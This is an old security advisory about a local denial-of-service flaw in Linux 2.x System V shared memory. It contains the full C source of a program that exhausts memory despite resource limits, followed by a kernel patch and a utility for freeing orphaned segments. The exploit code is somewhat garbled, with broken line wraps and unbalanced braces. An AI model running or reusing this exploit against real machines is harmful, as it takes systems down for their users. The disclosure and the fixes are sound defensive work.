COMMAND

    IPC (shared memory)

SYSTEMS AFFECTED

    Linux (others too?)

PROBLEM

    Following was found by KKI Security Team and the problem was found
    Robert Pajak.   Using attached  program one  can DoS  machine even
    when limits are set up...  This is due to fact that shared  memory
    segments  can  exist  without  beeing  bind  with processes.  Code
    follows:

    /* SharedDream - (c) Shadow, KKI Security                               */
    /*                                                                      */
    /* I'm not responsible for any damaged done by this proggie...          */
    /* It should be used only for education...                              */
    /* To protect - use brain, Solar's patches, or whatever...              */
    /* This problem is because shared memory segments can exist even        */
    /* if they are not combined with programs!                              */
    /* !This program will crash your machine (localy) at kernels 2.x!       */
    /* If you are on kernels 2.2.x with limits run it twice :)              */
    /* really - even when rescource limits are set! :)                      */
    /* Probably original idea by lcamtuf                                    */
    /* heck you should told me that you found it                            */
    /* first  ;)                                                            */
    /* heh - worm greetings for for Coding Style ;)                         */
    
    #include <stdio.h>
    #include <sys/types.h>
    #include <sys/ipc.h>
    #include <sys/shm.h>
    
    
    #define BOLD "\033[00;04m"
    #define BLUE "\033[00;36m"
    #define STAN "\033[00;00m"
    
    void main(void)
    {
     char *p;
     int   i = 10000000;
    
    
     printf("\n\n");
     printf(BOLD "*)" BLUE " SharedDream"STAN" - shared memory segments
    abuser\n");
     printf(BOLD "*)\n" STAN);
     printf(BOLD "*)" STAN " (c) 1999" BOLD " Shadow " STAN "(" BOLD
    "shadow@security.kki.pl" STAN ")\n");
     printf(BOLD "*)" STAN " greetz to " BOLD " vision (yo remember me),
    lcamtuf, kodzak, #??? ppl, Lam3rz, daworm, Trolinka, viedzmin other folks i
    forgot to mention\n" STAN);
     printf(BOLD "*)" STAN " Now it will eat up your memory even if it seems to
    be limited\n");
     printf(BOLD "*)" STAN " Starting...");
     fflush(stdout);
    
        while (1)
    
	           if (p = shmat(shmget(0, i, 0777), 0, 0))
    
	                       			             memset( p,'\0',i); // need to touch
    memory somehow
                                                             printf(".DoW.");
                                                             fflush(stdout);
                                                            }
		    else {
		          i--;
	   	         }
                  }
     exit(0);
    }

SOLUTION

    To protect yourself,  you should disable  this operations, or  use
    Solar Designer's  stack patch  with limits  set, etc...   Alan Cox
    has been notified...

    Attached is a  trivial Linux-2.2.12 patch  wich adds add  a procfs
    entry for tuning the limit of shared memory allocable.

        /proc/sys/kernel/shmmax      Max number of shared memory pages

    Attached  is  also  a  small  hack for freeing unreferenced shared
    memory pages and printing interesting details of available  shared
    memory segments (such as who created the segment, and when).

    ipc_limit.patch
    ===============

    --- linux/ipc/shm.c.orig	Wed Sep 15 00:44:11 1999
    +++ linux/ipc/shm.c	Wed Sep 15 00:44:36 1999
    @@ -68,6 +68,8 @@
 	    return -1;
     }
    
    +int shmall = SHMALL;
    +
     /*
      * allocate new shmid_kernel and pgtable. protected by shm_segs[id] = NOID.
      */
    @@ -79,7 +81,7 @@
    
 	    if (size < SHMMIN)
 		    return -EINVAL;
    -	if (shm_tot + numpages >= SHMALL)
    +	if (shm_tot + numpages >= shmall)
 		    return -ENOSPC;
 	    for (id = 0; id < SHMMNI; id++)
 		    if (shm_segs[id] == IPC_UNUSED) {
    @@ -233,7 +235,7 @@
 		    shminfo.shmmni = SHMMNI;
 		    shminfo.shmmax = shmmax;
 		    shminfo.shmmin = SHMMIN;
    -		shminfo.shmall = SHMALL;
    +		shminfo.shmall = shmall;
 		    shminfo.shmseg = SHMSEG;
 		    if(copy_to_user (buf, &shminfo, sizeof(struct shminfo)))
 			    goto out;
    --- linux/kernel/sysctl.c.orig	Mon Aug  9 21:05:13 1999
    +++ linux/kernel/sysctl.c	Wed Sep 15 00:41:19 1999
    @@ -47,6 +47,7 @@
     #endif
     #ifdef CONFIG_SYSVIPC
     extern int shmmax;
    +extern int shmall;
     #endif
    
     #ifdef __sparc__
    @@ -213,6 +214,8 @@
 	     0644, NULL, &proc_dointvec},
     #ifdef CONFIG_SYSVIPC
 	    {KERN_SHMMAX, "shmmax", &shmmax, sizeof (int),
    +	 0644, NULL, &proc_dointvec},
    +	{KERN_SHMMAX, "shmall", &shmall, sizeof (int),
 	     0644, NULL, &proc_dointvec},
     #endif
     #ifdef CONFIG_MAGIC_SYSRQ

    free_shmem.c
    ============

    #include <stdio.h>
    #include <sys/ipc.h>
    #include <sys/shm.h>
    #include <time.h>
    
    int main(void)
    {
        int i, id;
        struct shminfo shmi;
        struct shmid_ds sds;
    
        shmctl(0, IPC_INFO, (void *)&shmi);
    
        for(i=0; i<shmi.shmmni;i++) {
	    if ((id = shmctl(i, SHM_STAT, &sds)) >= 0) {
	        printf("SHM %d: size=%d cuid=%d cgid=%d cpid=%d lpid=%d uses=%d created %s",
		        id, sds.shm_segsz, sds.shm_perm.cuid, sds.shm_perm.cgid,
		        sds.shm_cpid, sds.shm_lpid, sds.shm_nattch,
		        ctime(&sds.shm_ctime));
	        if (sds.shm_nattch == 0) {
		    shmctl(id, IPC_RMID, NULL);
	    	    printf("SHM segment %d freed\n", id);
	        }
	    }
        }
        return 0;
    }